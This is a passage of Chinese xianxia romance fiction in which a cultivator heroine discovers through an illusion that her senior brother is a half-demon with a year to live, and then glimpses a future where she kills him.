谢迟云看到不远处忽地爆发了骚乱,像是有一个魔族试图反抗,却被暴力镇压,连带着他的妻子孩子一同投入了火海。 他身边的男孩说:“啊,找到了。” 男孩弯了弯那双与谢迟云弧度相似的眼眸,轻声说:“哥哥,他们不值得让你关注。” “那只是最低微、最无关紧要的奴隶而已。” 叶怀昭的眼前闪过无数道血腥残忍的片段。 很多时候他都只是一个旁观者,像是早已在毫无根据的杀戮中麻木了一样,任由鲜血溅落在他的脚边,任由滚烫的泪水灼烧他的手背。 他只是站在一旁,既没有伸手,也没有后退,只用眼睛注视着所有的一切。 叶怀昭听到了许多对他的窃窃私语,也感受到了许多细细密密的疼痛。 他们似乎在说他有一个身份低微的人族母亲,说他是个脾气古怪的孩子,从来没有笑过,从来也没有哭过,就连魔气也从来没有见到他使用过,像是个傻子一样。 她想要将那些充满恶意的话全部骂回去,却无能为力,只能看着那像是猩红色血液般的记忆碎片被潮水冲走,最终只留下一片小小的,像是砂砾般的透明颗粒。 那个碎片只有一道声音。 是一个疲惫、温柔、义无反顾的女声。 她说:“阿云,我会带你离开。” 从未对他人的话语做出任何反应的孩子抬起头。 他说:“好。” 叶怀昭的眼前暗下。 再出现光亮时,她看到了自己。 那是关于她的碎片。 五岁的叶怀昭、六岁的叶怀昭……直到十八岁的叶怀昭。 在一开始,他只是像在魔界那般停在远处安静地旁观着她的生活。 可叶怀昭却不是那些对他避如蛇蝎、嘲笑欺负的同伴。 他措不及防地被少女拉进永远弥漫着清苦药香的西翠谷,嘴里被她硬塞进喝药后师尊留下的蜜糖。 她是谢迟云在曾经过往人生中从未见过的一种人。 他想要离开,却又忍不住顿住脚步,看她灿烂肆意地站在水中对他笑,湿润的水珠一滴一滴自她的发梢坠落。 叶怀昭看到了无数曾经从未发现的师兄。 少女抹着眼泪在西翠谷练剑时,他的机关鸟穿过阵法,为她在院中悄无声息地留下驱散寒气的术法。 带她从丹河秘境回来,总是忍不住在金银铺外停留,回过神来时,手中已经多了许多装着漂亮首饰的匣子,却只说买了一点。 长大和她回山后,被师尊拎走问话,问他到底是谁怂恿着偷偷下山,面不改色地说是我,于是被罚关禁闭,直到第二十三次终于摸清了如何打开禁制,翻墙过去,给关在隔壁的师妹送饭。 桩桩件件,一点一点,让叶怀昭空白的记忆重新填补了他的颜色。 最后是几乎要将漆黑夜幕也要烧穿的火焰。 叶怀昭感受到了几乎要将全身碾碎的疼痛。 可这是谢迟云的记忆,如果就连她也感受到疼痛,那本人所经受的疼痛是她的千倍、万倍。 她睁开眼,看到了断剑,以及脚下几乎要将白雪染红的鲜血。 妖魔在狭窄的道路旁肆虐,长久被压抑的魔气前所未有爆发,与无忘川的魔界坤脉共鸣。 满身染血的青年跌跌撞撞,背着一个同样伤痕累累的少女,一步一步向外走着。 ——这是叶怀昭曾经遗忘的,无忘川的记忆。 “师兄,”十六岁的叶怀昭趴在他的肩头,声音轻缓,像是一阵风就能吹散,“我其实和你打了一个赌。” 谢迟云用断剑撑着自己的身体,将喉咙中的鲜血压下,问她:“什么赌?” 叶怀昭的眼神空茫,用气音说:“我赌你不会来找我。” “你赢了我那么多次,为什么就不能输给我一次呢?”她抱怨着说,“我阿爹和师尊都没有来,你为什么要来?你来了,就会将自己最大的秘密暴露给我,万一,我带着讨厌你的想法死去该怎么办?” 断裂的白骨向青年攻来,却被他身上逸散的魔气全部吞噬,烧灼出漆黑的浓烟。 青年没有说话,他的身体摇晃一瞬,却在倒地的瞬间下意识护住了怀里的少女。 他咳出一口鲜血,却执拗着说:“师妹,就算你讨厌我,我也会将你带回去。” “……” 叶怀昭的意识越发昏沉,她怔住了片刻,忽地撇过脸。 少女沾着血的手指擦过青年的眼角,虚弱地说:“算了,其实就算你是魔,我也不会讨厌你的。” 她的声音越来越轻:“如果以后我们还能再见……你可一定要 让我再喜欢上你。” “我甘愿输得一败涂地。” 她的师兄背着她,循着自己曾经离开魔界的道路,再一次地横穿无忘川。 十里妖魔道每走一步便会跌入噩梦,他的眼前闪过无数曾经暴虐残酷的画面,闪过成千上万个与少女兵戈相向的画面,却一步步踩碎,向着唯一一个存在的可能前进。 十里白雪路每走一步便会跌入美梦,权欲金钱不时诱惑着晃过谢迟云的眼前,没有一个让他停留。 他带着自己的过往和未来,走出了无忘川。 燃烧的火焰渐渐熄灭,在黑暗的视野中,她听到时闻筝的声音隐隐约约的响起。 “十里白雪路,十里妖魔道。他毫无灵力庇体,就这么硬生生地杀出一条血路出来。到最后,他的本命剑断了,双腿被白骨洞穿,眼睛也瞎了一只,浑身上下血肉模糊、鲜血淋漓。” “我用灵力给他传音,说你不能再走了,除非你想和她一起死。” “他不理我,让我给他指路,就凭着他那把断剑,一步一步、一寸一寸,滚下禁山,爬着也要带她出来。” 她听到叶珩说:“但她现在什么都记不得了。曾经的赌约、誓言、约定……什么都不记得了” 手中空无一物,准备下山的谢迟云回过头,看向西翠谷永远流淌的瀑布。 那道瀑布最终会汇入玉映池,而水汽蒸腾,最终会代替他环绕在安静沉睡的少女身旁。 “只要我还记得便足够了,”他回首,对身旁的师尊说,“无论痛苦与否,有些事情总要有人来记得的。如果她忘记了,那便由我来记住。” “她会和我创造新的记忆。” 谢迟云的声音最终消弭于无尽的黑暗。 “我们会有新的誓言。” 第66章 第六十六章你就是一个自以为是的混蛋…… 光风霁月的乘玉仙君是一个半魔。 他在魔界生活了十年,然后隐藏身份,来到长风门,成为掌门的大徒弟、她的师兄。 叶怀昭恍惚着回神,又在刺目的光亮中不自觉地闭上眼睛,骤然被刺痛的眼泪顺着她的眼角滚落。 她下意识抬起手,想要伸手去揉眼睛,被一只冰冷的手抓住了。 叶怀昭吸了吸鼻子,嗅到了一点熟悉的檀木清香。 她这才意识到,自己好像在被人抱在怀里。 愣神间,有人用柔软的指腹擦过她的眼角,将湿润的眼泪抹去,然后抬起手,宽大的手掌罩住了她的眼睛。 稀薄的光透过指缝落在叶怀昭的眼中,可却看不清外面的环境。 叶怀昭拽着那人的衣袖,声音轻缓地叫了一声。 “师兄。” “师妹醒了。”被她靠着的胸膛轻轻震动,声音自叶怀昭的头顶传来,“身上的伤口还痛吗?” 叶怀昭答非所问:“师兄,你为什么在这里?” 抱着她的男人沉默半晌,做出了与之前一般无二的回答。 “因为你在这里。” 叶怀昭现在已经知道自己方才身处哪里了。 那是谢迟云的幻境。 既然是由他的心魔诞生出来的“谢迟云”,在某种意义上而言与他有着相同的性格,做出一样的回答并不奇怪。 但叶怀昭宁愿自己方才看到的记忆也只是幻境迷惑她的画面。 她抓着谢迟云衣袖的手指松开,慢慢上移,攥住了他挡住自己双眼前的手掌。 这只手冰凉干燥,没有幻境中深可见骨的伤痕,没有记忆中像是浸在鲜血中的湿润。 她轻声问:“师兄,你为什么挡住我的眼睛?” 谢迟云不答,她便就着这个姿势转身,坐在他的怀里,手指摸索着,触碰他的脸庞。 十岁的谢迟云身形削瘦,可他的面庞轮廓也有着小孩子的柔软。 二十岁的谢迟云身形越发高挑,五官样貌由少年向青年过渡,渐渐有了更清晰分明的面庞线条。 而如今,二十二岁的谢迟云轻轻垂首,任由少女的手指抚过他的下颌,顺着弧度,一点一点摸索着碰到了他的眼皮。 “师兄,”被他捂住眼睛的师妹说,“你的眼睛,是红色的吗?” ——师兄,你是一个半魔吗? 这个问题很直白。 直白到在叶怀昭话音落下的瞬间,谢迟云便知道她在自己的幻境中看到了什么。 直白到,他根本没有第二个回答。 在零星光线透来的手掌中,叶怀昭眨着眼睛,忽然感受到蒙住她眼前视野的手移开了。 头顶夜明石的光芒毫无遮拦地流淌下来,天光乍破,她微微眯了眯眼睛,却首先看到了一双专注看着她的眼眸。 这双眼睛微微下垂,鸦睫在眼尾收拢出柔和的弧度,瞳仁漆黑,可瞳色像是鲜血晕染在池水中,带着水的冷冽清透,又带着血的肃杀诡魅。 她一眨不眨,在自己的身周感受到了根本不该出现的魔气暴动,丝丝缕缕地环绕在她的身旁。 叶怀昭也曾怀疑过,为什么谢迟云看起来身体很健康,却每隔一段时间就要来西翠谷找她师尊。 每到这时,她就要被师尊打发出去,即便撒娇耍赖也不能留下。 而现在她知道了。 那是因为谢迟云无法让体内的魔气和灵力达到平衡,只能依靠外物帮忙抑制魔气,好隐藏自己的身份。 后来大约是随着谢迟云的年纪增长,对魔气和灵力的控制越发炉火纯青,叶怀昭很少再见到他单独来找颂慈仙尊。 可现在呢? 叶怀昭甚至不用多想,只是将最近发生的事情全部回忆一遍,便能发现不少谢迟云疑似控制不住自己魔气的时候。 这一切都是从他们离开无忘川后发生的。 叶怀昭盯着谢迟云那双红色的眼眸,愤怒比得知真相的恍然先一步到来。 “你为什么不好好去当你那万人敬仰的乘玉仙君?”她猛地伸手,将抱着她的男人推到身后石壁上。 谢迟云的后脑重重地磕在坚硬石壁上,在一瞬间晕眩的感知中,他还是下意识撑住了身体,没有让身上的少女摔下去。 “你明明可以瞒我一辈子、让我一辈子都不知道自己师兄是个半魔——” 叶怀昭根本没看到他的动作, 她吸了口气,眼眶因为愤怒和别的情绪而不受控制地发红:“你为什么要去救我?为什么要来找我?我只是你的师妹而已,就算没了我你还有无数个师妹,就算我死了也不会对你有任何影响。” 无忘川那是什么地方? 他曾经从那里出来,他难道不知道吗? 他凭什么让她忘记一切,却独自一人背负了两段最痛苦的回忆? 她总是故意惹他生气、故意找些无关紧要的事情揪着他不放、故意指使着他做着做那。 他不是说她娇纵任性还爱哭吗?他不是对无关紧要的人冷漠旁观吗?他不是最厌恶软弱的人吗? 他凭什么要为了她这样一个讨人厌的师妹,那么轻易就放弃自己好不容易获得的一切? 叶怀昭手指紧紧攥着谢迟云的衣襟。 她觉得自己眼前的视野模糊,却强撑着不去眨眼,骂道:“谢迟云,乘玉仙君,你就是一个自以为是的混蛋、一个固执又烂好心的蠢货!” 玉水洞中潮湿冰冷的空气浸透着她呼吸的肺腑,每一次呼吸都牵动着背上那道千山剑法落下的伤口。 叶怀昭感受到了疼痛,可似乎并不是从背上的伤口传来,更像是连魂蛊在缓慢地啃食她的心脏,带来酸胀混杂疼痛的感知。 叶怀昭松开攥住谢迟云衣襟的手,偏过头,用手背胡乱去 蹭自己脸上的水痕。 她的手腕被另一只冰冷的手抓住了。 叶怀昭愤怒说:“别碰我!” 这一次她甚至都没有犹豫,直接用灵力附在手上,想要挣脱谢迟云。 但她没预料到的是谢迟云比她更快地掐诀制住了她的动作。 她的脸被抬起,叶怀昭的眼中闪过一丝嘲弄,正要狠狠将他推开,眼中的情绪忽地一怔。 抱住她的男人并没有像是幻境中那样,不顾一切地试图将她拦下。 他甚至只是垂下头颅,以一种虔诚而卑微的姿态,嘴唇轻碰了一下她红红的眼角。 只是一个轻柔的触碰。 叶怀昭挣扎的动作全部顿住。 趁着这一瞬间的间隙,男人轻声道:“没有那么多为什么。” “因为你是叶怀昭,是我的师妹,”他的额头抵住叶怀昭,声音轻缓,像是抚过花瓣的风,“这就够了。” 无论是谢迟云还是乘玉仙君,都是因为她而诞生的。 收敛尖刺是为了不将她伤到,学习剑法是为了保护她,隐瞒身份是为了不让她厌恶。 “但在你的生死面前,就算被发现了魔族的身份,就算被你厌恶,我也甘之如饴。” 如果师妹不在,师兄还有什么存在的意义? 如果叶怀昭不在,谢迟云本就不会诞生。 红眸的白衣青年用指腹一点一点将师妹脸上的水痕擦掉,看她像是怔住一般任由他所为,忽然狼狈地偏过头,躲开他的视线。 她抓着谢迟云衣襟的手指松开又攥紧,就像是她本人的心境一样,想要不管不顾地将他推开,可又贪心地想将他永远抓在手里。 叶怀昭强迫自己移开目光,生硬地转移话题:“还有谁知道你是半魔?” “师尊、颂慈仙尊。”谢迟云回答说。 “比起我,难道你更相信阿爹和师尊吗?”叶怀昭像是终于抓住了他的弱点,咬紧不放。 谢迟云看着她明亮得耀眼的黑眸。这双眼睛中有愤怒,有纠结,亦有迷茫,却唯独没有他最畏惧的那种情绪。 他忽地牵了牵唇角,轻声说:“因为我更害怕看见师妹厌恶的目光。” 所以连那一丝可能也不敢去赌。 他需要一次一次地向她确认她不会因魔族而对他厌恶,才能有勇气在此时用那双红色的眼眸安静地注视她。 叶怀昭心底的那股气在这一句话中忽地散去了。 她想质问他到底知不知道自己在说什么,可那些话在她的喉咙中梗了许久,最终还是被她咽了下去。 魔气一直在向外逸散,几乎到了一种令人不适的浓度。若非叶怀昭本就对魔气有适应能力,她在谢迟云的身旁还能不能保持神智都要另说。 沉默了半晌,叶怀昭转移话题地问道:“你身上的魔气是怎么回事?” 谢迟云:“最近用得太多,现在有点失控了。” 叶怀昭回想起乐寿城的赵清洵还有谢迟云的故友简茵。 赵清洵的感知迟钝,再加上从未使用过魔气,所以她虽是个半魔,却能活到现在;可简茵感知敏锐、天资聪颖,反而早早死去。 ——而她的师兄呢? 叶怀昭忽然伸出手,抓住了谢迟云的手指,毫无征兆地逼近他。 他们挨得本就很近,叶怀昭几乎整个人陷进男人的怀中,苦涩的药香与檀木香在两人的鼻尖萦绕,呼出的气似乎都在交缠。 谢迟云一动未动。 叶怀昭盯着他,忽地连名带姓地叫他。 “谢迟云。” 她的声音还带着一点沙哑,是之前因为愤怒的证据。 可叶怀昭此时的声音却无比平静。 “我要问你一个问题,这个问题你必须正面回答我。不许撒谎、不许骗我,否则我就当从来没有你这个师兄。” 这是一个无论对谢迟云还是叶怀昭来说,都格外狠毒的要求。 只要做出了承诺,就没有任何回旋的余地。 谢迟云却没有犹豫:“我答应你,师妹。” 于是叶怀昭看着他,一字一顿:“你还能活多久?” 魔气浓郁环绕,寂静空寥的玉水洞中,只有呼吸声轻轻回响。 头顶的夜明石终于承受不住肆虐的魔气,“嘭”的一声熄灭。 在忽然暗下的视野中,叶怀昭听到谢迟云缓声说:“一年。” 红色的眼眸在黑暗中微微发亮,他甚至还弯了弯眉眼,半开玩笑道:“师妹,我会记得在剥离蛊虫后再去死的,不会让你和我一起殉情。” 第67章 第六十七章不许死。 叶怀昭:“……” 她大脑空白了一瞬,才从这短短两句话中回神。 她猛地站起身,几乎控制不住地骂道:“你到底有没有把自己的命当做命?明明只剩一年寿命了,为什么还总是动用魔气?难道你就那么想死吗?” 谢迟云任由她劈头盖脸地骂,直到听到最后一句才说:“我没有那么想死。” 叶怀昭:“你当然不许死,我不许你死在我的前面!” 谢迟云听得哑然失笑,眼角弯起柔和的弧度,之前的冷郁一扫而散。 他越笑,叶怀昭就越生气,眼中的怒火重新燃烧。 这个人到底有没有一点自己马上就要死的自觉?他以为这是什么过家家吗?一个人的命只有一次,谁让他这么不当回事的?! 叶怀昭气急败坏地扑过去,捂着他的下半张脸恶狠狠说:“不许再笑了!” 谢迟云不笑了。 叶怀昭的这一扑毫无征兆,他下意识揽住了少女单薄的后背,又想起来对方的脊背上有伤,于是险而又险地扣住了她的腰。 可这样的姿势让他没能撑住地面,靠在身后的石壁也因为长久停留而开始变幻,措不及防的空隙让两个人同时滚了下去。 夜明石破碎后的玉水洞伸手不见五指,黑暗将此方角落吞噬。 谢迟云只来得及伸手护住叶怀昭的后脑,两个人就“噗通”一声栽进了水里。 水纹一圈一圈地向外扩散,清透水面下的发丝衣带飘散纠缠,银珠似的气泡咕噜咕噜地上浮。 熟悉的湖泊,熟悉的人,熟悉的动作。 甚至先咬人的还是气得理智全无的叶怀昭。 片刻后。 叶怀昭手中用力将谢迟云推开,面红耳赤、逃命似地往岸上游。 她在心中气得尖叫。 凭什么! 凭什么只是几日不见,他就能把“渡气”的技巧用得那么熟练! 明明一开始还是她占据上风的,他怎么就能那么快地抓住她的弱点转守为攻抢走主动权的?! 他是不是私底下又偷偷学了什么他不该学的东西。 叶怀昭又郁闷又愤怒地想,等下一次——她一定要一雪前耻! 谢迟云在她身后慢条斯理地拧干衣裳,无声地微笑。 不管怎么说,经过这个插曲,叶怀昭心中原本的难过悲伤硬生生被自己师兄全部打散了。 她收拾好自己,装作什么都没发生一样回首,看他吞服丹药。 肉眼可见的,男人身周暴动的魔气在渐渐平复,他的脸色也好了许多。 叶怀昭甚至用灵识仔细探查了一遍他的身体,发现原本还能从他身上感知到的魔气竟然全部消散了。 这无疑是那瓶丹药的结果。 叶怀昭还记得她之前还去质问过谢迟云,结果就听说了对方幼时曾经去过无忘川的往事。 想到这里,她不由得在心中冷笑一声。 当时没发现,现在看来他当初的回答完全就是避重就轻、移花接木。 他说自己幼时去过无忘川,却压根没提自己又去了第二次;他承认了自己在服药,却故意诱她以为自己服药的原因和她一样,而将真实的原因用看似不可能的“假话”轻描淡写地带过,用无忘川的事情转移她的注意力。 他的确为了瞒住自己半魔的身份做了完全准备。 甚至叶怀昭怀疑如果当初她没有在听说林漱雪的那句话后直接来玉水洞,而是去找谢迟云寻求答案,他的 身份可能还会瞒更久。 似乎是叶怀昭的目光在那瓶丹药上停留了许久,谢迟云主动解释说:“这是能诱导我体内炼狱之火燃烧的丹药。若是我体内的魔气失去控制,便会让炼狱之火消耗魔气,直至魔气与灵力达到平衡。” 叶怀昭紧紧抿着唇,环胸抱臂看着他,不冷不淡说:“怎么这时候就不瞒着我了?” 谢迟云看着她,直白说:“因为我想让你心软。” 他咳了一声,唇色苍白,声音虚弱说:“师妹,我现在在被炼狱之火灼烧。” 叶怀昭:“……” 她脸上故作的冷淡在一瞬间出现了崩裂的痕迹,又很快被她偏过头挡住,像是谢迟云方才看到的只是错觉一样。 “我才不会对一个骗子心软,难道是我让你被炼狱之火灼烧的吗?想让我心软原谅你等下辈子吧!”她嘴硬说。 玉水洞中静默了许久。 片刻后。 叶怀昭一边给谢迟云平复烧灼带来的痛苦,一边咬牙说:“这是我最后一次帮你,下次让我治疗,诊费我要收两倍——不,收四倍!” 我才不是心软了。 叶怀昭暗自心想,是因为他之前救过她,现在只是为了偿还人情债罢了。 谢迟云笑眯眯的:“多谢师妹。” 问道大会魁首作为医修的能力自然不必多说,谢迟云体内燃烧不休的炼狱之火很快就在叶怀昭的术法中平复下来。 叶怀昭收回手,问他:“关于你寿命的事,连我师尊也没有方法吗?” 谢迟云:“颂慈仙尊只能为我压制,却无法完全解决半身魔骨半身灵骨的现状。” “那你不能直接入魔吗?”叶怀昭冷不丁说,“如果完全入魔,你的体内是不是就能只存在魔气,不被灵力干扰了?” 谢迟云偏头看了她一眼。 他其实觉得现在的事情有几分古怪的好笑。 这一届问道大会的魁首正在劝上一届的问道大会魁首入魔。 听上去就觉得这修真界没救了呢。 他在心中想着,耐心给叶怀昭解释:“如果是由半魔入魔,并不能改变我的根骨丹田,还是会有灵力与我体内的魔气相互攻击。” 叶怀昭又提了几个方法,被谢迟云一一否认。 她不再说话了。 因为自己身边没有半魔,叶怀昭对于半魔一向没什么兴趣,自然也不会去研究怎么延长对方的寿命。 不仅是她,其实整个修真界对半魔的关注度都远远小于对魔族的关注。 因为只有平庸的半魔才能活得久,天赋高的半魔反而会早早死去,这就导致无论在修真界还是魔界,半魔的存在感一向不高。 几千年来,或许也有人思考过如何让半魔延长寿命,可无一例外都没有找到合适的方法。 真的没有办法了吗? 叶怀昭心想,难道真的要让师兄在一年后死去吗? “也不是没有办法。”谢迟云忽然说道。 叶怀昭猛地抬起头。 她甚至有几分急迫地追问:“什么办法?” 谢迟云原本被鲜血浸染的双眸已经渐渐恢复了之前的颜色,像是清透湖水的眼睛注视着她。 他张张嘴,像是想开口说话,忽地眼神一冷,拉着叶怀昭瞬影后撤。 “嘭——” 他们原本站立的位置被头顶碎石砸出了明显的裂痕。 玉水洞忽地传来强烈的震感,两旁石壁开裂,甚至有几处已经开始坍塌,碎石轰隆隆地下坠。 不远处,灵力术法的波动愈发强烈。 谢迟云很快意识到了问题。 “有人要到尽头了。”他看向叶怀昭,“师妹,需要我拦住他们吗?” 玉水洞每月会开启十五日,但玉水洞的尽头却不是。 叶怀昭曾听林漱雪说过,玉水洞的尽头每月只会开启一次,在有人到达后便会关闭,直到下一个月才会重新允许进入。 也就是说,先到先得。 叶怀昭之前为了先到玉水洞不眠不休地闯了三天秘境。 只是方才她通过谢迟云看到了自己之前心心念念的无忘川记忆,对进入玉水洞尽头的执念已经没有之前那么深了。 但正所谓来都来了,叶怀昭觉得再去尽头转一圈也没什么不好的。 她没有怎么犹豫,很快就道:“我马上出来。” 说完这句话,她转身向玉水洞的尽头走去。 在她的身后,谢迟云缓缓将目光转移到发出巨大动静的洞穴。 来的真快啊。 谢迟云的灵力在手中渐渐凝实成一把闪烁着幽幽银光的长剑。 ——是要进入玉水洞尽头,还是听到了什么风声,准备来杀掉“重伤”的师妹呢? 他微微垂下眼睑,掩住了眸中的杀意- 叶怀昭眼前的道路一直在不断变化,好在她的感知敏锐,只要有了目标,一路平推过去也不是不行。 她走过曲曲折折迷宫似的洞穴,眼前终于一亮。 潺潺水流声中,她的眼前出现了一棵巨大的树。 虬枝盘曲,绿叶如盖,通天蔽日。 坤脉在树根处缓缓流淌,灵力的碎光在光晕中跃动,一节一节的石阶环绕着粗壮树身向上,最终隐没于翠霭濛濛的浓绿枝叶当中。 叶怀昭踩着石阶向上。 每走一阶,她的眼前便会出现一道虚影。 那道虚影从呱呱而泣的婴儿开始,她好奇地睁开眼睛,蹒跚地抓着衣角长大,笨拙地学会奔跑,握住了甚至比她还高的长剑。 虚影渐渐变多,可最常出现的还是一个穿着白衣默默注视她的少年。 她看着他教那个女孩学剑,握着她的手写字,任由她炫耀似的将粗糙潦草的画挂在自己的屋中,却只是安静地笑。 叶怀昭早已从谢迟云的记忆中看到了他的部分,此时再看除了觉得自己小时候真够让人头疼的之外,最大的感想就是师兄离开魔界后的脾气真好,这都能忍她。 她走马观花地瞧着,眼前很快就出现了一张几乎和她面对面互相望着的虚影。 这意味着她已经看到了她的过去和现在。 再看到的,便是未来。 叶怀昭有一点好奇自己未来会怎样。 但是和卜修不同,叶怀昭对所有“预言”得到的“未来”永远保持一种怀疑的态度。 若是预言的未来很美好她就会相信,若是预言不好那就是预言的水平有问题。 桑春说难怪她次次上卜卦课都要被赶出去罚站。 叶怀昭在心中随意想着,漫不经心地向上踏了一步。 她的眼前没有任何虚影出现。 叶怀昭:“?” 什么意思,难道她没有未来吗? 没等叶怀昭反应过来,古树下的灵力坤脉忽地开始沸腾,像是有什么东西即将呼之欲出,在一瞬间掀起了巨浪。 不仅如此,她脚下所站立的石阶也开始剧烈摇晃起来,像是整棵古树都在坤脉的冲击下摇摇欲坠,头顶巨大的浓绿树荫不断地有树叶飘落。 她当机立断,直接准备御风离开古树。 可在叶怀昭的双脚离开石阶的一瞬间,古树之下的坤脉爆发般扬起遮天蔽日的浪潮,灵力在她的面前形成一种倒流的巨大瀑布,然后向着她的方向压下。 叶怀昭:“!” 她暗骂一声,御风术运用到极致,逃命一样向着入口瞬影。 坤脉的浪潮追在叶怀昭的身后,在千钧一发之际,她终于抢在坤脉落下的前一瞬离开了尽头。 像是巨浪拍击了地面,她的身后响起震耳欲聋的巨大声音,叶怀昭捂着耳朵想要离开,不知是不是被坤脉的暴动波及,一片翠绿的树叶忽地飘飘荡荡地划过她的眼前。 叶怀昭本不该注意到这片树叶的。 可在即将离开时,她下意识地用余光扫了一眼。 光滑透亮的树叶反射着日光,在一瞬间折出朦胧的两道虚影。 她看到身穿金纹玄服的男人站在永远燃烧着漆黑火焰的高台,周围是白骨堆砌的残肢断臂,黑雾翻涌,而鲜血溅落在那张面无表情的清隽面庞上。 他单手持剑,垂眼看着站在高台下的少女。 新生的魔君轻轻启唇,似乎说了什么,可在震天撼地的声响中叶怀昭什么也没有听到。 她只看到高台下的少女抬起手,于是一条魔气构筑的漆黑长龙猛然跃起,贯穿了魔君的胸膛。 第68章 第六十八章心性 叶怀昭向外走去。 她轻轻蹙 着眉,心中还在回忆方才看到的虚影。 她的未来里出现谢迟云并不奇怪,但为什么会是成为魔君的谢迟云? 叶怀昭的记性很好,她还记得自己之前在璇玑湖最后一重幻境中看到的谢迟云。 但那时候他成为魔君是因为和她错过了,可这一次她没有错过他、阿娘也将他带回了长风门、他成为了长风门人人称颂的乘玉仙君。 那为什么他依旧回到魔界成了魔君? 如果说他是入魔了,又因为重重事情被迫成为了魔君,叶怀昭也能勉勉强强地接受。 可这个未来最奇怪的并不是谢迟云,而是她。 ——她为什么要杀他? 叶怀昭走出玉水洞的尽头,看到持剑站在前方的谢迟云。 后者正在专注布设着阵法,似乎没有意识到被他保护的人已经悄悄站在一旁,仔细打量着他的侧脸。 叶怀昭在想自己到底是什么想的。 她确信自己不会仅仅因为谢迟云入魔便与他决裂,更不会因为他成为魔君就与他兵戈相见。 所以是之后又发生了一些事情,于是让她和自己师兄的关系彻底改变了吗? 究竟什么事情会让她对谢迟云动杀心? 思索间,被叶怀昭观察的人已经敏锐地侧首看向她了。 谢迟云轻轻挑眉,像是有些诧异:“师妹这么快就出来了?” 他随手将自己手中灵力构造而成的长剑散去,在灵力飘散的碎光中发觉叶怀昭的神色似乎有些古怪和恍惚,不由问道:“看到什么了,师妹?” 叶怀昭揉了揉自己的脸颊,将心中的怀疑和思索压下,对谢迟云摇摇头说:“我没进去多久里面就塌了,只看到些零碎的片段——看不懂是什么。” 谢迟云“噢”了一声,倒是没有多问。 他知道玉水洞可以看到未来,但世上所有关于未来的预言无一例外,都很语焉不详且不知所云,只有这样才能绕过天道的注视。 叶怀昭看不懂很正常,不如说如果她清晰地说出来未来会发生什么,反而会让谢迟云怀疑她是否在不知情的情况下对天道支付了什么代价。 但叶怀昭反而开口问道:“师兄,你来过玉水洞,看到过自己的未来吗?” 谢迟云:“从未。” 叶怀昭眨眨眼,有几分好奇:“为什么?” 谢迟云声音平静:“因为我不喜欢以未来桎梏现在,所以干脆从不相信任何关于未来的预言。” 叶怀昭依稀记得自己之前在谢迟云的记忆中看到过类似的场景。 似乎是那个他从未露面的父亲不知从哪听说了什么预言,觉得这个半魔儿子的出生寓意不祥,于是自他出生后就对其不管不问。 他的态度也是谢迟云幼时过得那么惨的一个重要原因。 长大后的谢迟云对预言这么抗拒也不是不能接受。 叶怀昭沉默半晌,说:“师兄,你这句话如果让小春听到,她一定会和你打一架的。” “那请师妹不要告诉桑师妹我说过这句话。”谢迟云笑了一下,声音很轻,“这是我们两个人的秘密。” 叶怀昭:“……” 她飞速地转过头,避开对方像是钩子般的清透眸光。 既然已经去过玉水洞的尽头,叶怀昭此行的目的已经达到,便准备给桑春和宁绥发信号离开。 但谢迟云似乎另有目的。 他抓着将要离开的叶怀昭,手指竖在唇前,比了一个“嘘”的动作。 叶怀昭:“?” 这又是什么意思。 谢迟云没有解释,而是拉着她凑近自己方才布下的阵法,示意她仔细听。 叶怀昭的耳边渐渐响起零碎的声音。 阵法外是几个年轻男女的声音。 一开始说话的内容还很正常,在研究谢迟云设下的阵法应该如何破解。 但估计是阵法太过难解,几个人尝试了许久也没有成功,渐渐便有人开始翻旧账,指责是其他人的原因导致他们落后一步来到这里,才让别人抢夺了进入玉水洞尽头的机会。 后来这场骂战愈演愈烈,波及了所有人。 叶怀昭听了一会,除了新学会几个骂人的词外没觉得有什么特别。 但就在她耐心告罄准备直接询问的前一刻,一道尖锐的女声忽地扬高声音说:“你拖延我们进入玉水洞,不让我们去看过去的回忆,我看就是做贼心虚,生怕我们发现那回灵珠就是你故意让人偷走的吧!” 叶怀昭微微睁大眼睛。 回灵珠?那不是前几日青冥台丢失的珍宝吗? 这事还另有隐情? 被女修指责的人立刻反击说:“我看是你在做贼心虚!那晚离开禁地的人又不是只有我一个,算起来你比我离开的时间更久吧!” 女修冷哼一声:“我离开是被沈师兄叫走的,又不是我故意离开。” “难道我不是被仙首叫走的吗?!” …… 再往下听便是没什么信息量的车轱辘话,叶怀昭若有所思地收回心神,看向旁边的谢迟云。 她想起来谢迟云回长风门走的那一趟。 叶怀昭想了想,伸手戳了一下神色专注的青年:“师兄,你来东境除了找我,就是为了找到丢失的秘宝吗?” 谢迟云伸手抓住她乱动的手指:“一部分原因吧。” 叶怀昭被抓住了手指还是不老实,试图用另只手继续戳他,被谢迟云直接抓住了两只手腕。 他解释道:“师尊得到消息,山槐此时正在东境,被她窃走的秘宝或许也在东境,于是让我来找找有没有什么线索。” “另外,”谢迟云警告性地捏了捏叶怀昭的手指,“长风门失踪的那个弟子之前和他的道侣结下过神魂灯,根据神魂灯,我们发现这个弟子暂时还没有死,且位置就在东境某处。” 不知道是不是因为炼狱之火的缘故,谢迟云的手指温度较之前来说很是灼热。 叶怀昭被他抓住的地方隐约有种火烧火燎的感觉,没一会就想抽回手。 她将自己的手背到身后,瞪了一眼似乎有几分遗憾的谢迟云,嘀咕说:“怎么感觉所有难解决的事都聚在一起了?而且还在东境。” 谢迟云:“因为只有东境能允许这些事情存在。” 某种意义上来说,此时的东境和群龙无首没什么区别。 庄黎虽然还活着,但消息稍微灵通点的人都知道他活不了多久,而青冥台关于下一任掌门是谁的态度依旧很暧昧,这就导致有人站沈玉山,也有人站庄丹雪。 东境最有话语权的青冥台尚且自顾不暇,更遑论关注整个东境了。 叶怀昭对这些弯弯绕绕不感兴趣,随意听了一耳朵后便将其抛之脑后。 恰好此时桑春也和她发了讯息,叶怀昭对比了一下她的位置,纳闷问她:【你们怎么还越走越远了?】 桑春:【你和乘玉君一个接一个掉进裂隙,我们当然要从裂隙里面找你们,然后就又被捕捉了幻境,走出来后就到这里了。】 她补充说:【但是我们找到出口了。你和乘玉君走不走?不走我先走了,我不想再看宁绥和他师尊的恩恩怨怨了。】 让桑春来说,比起宁绥,她甚至更愿意去看叶怀昭和她师兄的爱恨情仇。 虽然这两人的性格都挺不像正常人,但至少这个恋爱谈得很正常人啊! 桑春看着宁绥的幻境,甚至恨不得把他重新丢去无相宫的禁地天天挨抽。 瞧上去挺正人君子的一个人,结果一遇上无妄仙尊就变得和阴暗男鬼一样。 真不知道无妄仙尊怎么还没一怒之下把他逐出师门。 